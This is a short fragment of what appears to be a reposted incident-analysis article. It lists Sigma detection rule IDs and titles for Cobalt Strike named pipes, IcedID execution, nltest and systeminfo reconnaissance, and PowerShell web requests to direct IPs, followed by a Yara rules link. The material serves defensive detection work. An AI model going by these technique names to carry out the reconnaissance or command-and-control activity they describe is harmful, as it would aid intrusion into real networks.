7090adee-82e2-4269-bd59-80691e7c6338: Console CodePage Lookup Via CHCP
d5601f8c-b26f-4ab0-9035-69e11a8d4ad2: CobaltStrike Named Pipe
c8557060-9221-4448-8794-96320e6f3e74: Windows PowerShell User Agent
1edff897-9146-48d2-9066-52e8d8f80a2f: Suspicious Invoke-WebRequest Execution With DirectIP
0ef56343-059e-4cb6-adc1-4c3c967c5e46: Suspicious Execution of Systeminfo
903076ff-f442-475a-b667-4f246bcc203b: Nltest.EXE Execution
5cc90652-4cbd-4241-aa3b-4b462fa5a248: Potential Recon Activity Via Nltest.EXE
624f1f33-ee38-4bbe-9f4a-088014e0c26b: IcedID Malware Execution Patterns

Yara

https://github.com/The-DFIR-Report/Yara-Rules/blob/main/24952/24952.yar

MITRE ATT&CK


文章来源: https://mp.weixin.qq.com/s?__biz=MzkzMDE3ODc1Mw==&mid=2247488197&idx=1&sn=dcb031a5452995b8abca29c77b626333&chksm=c27f616bf508e87d0bd883d78472a10653d4fb220226c8184b835880662e16005ae075989641&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh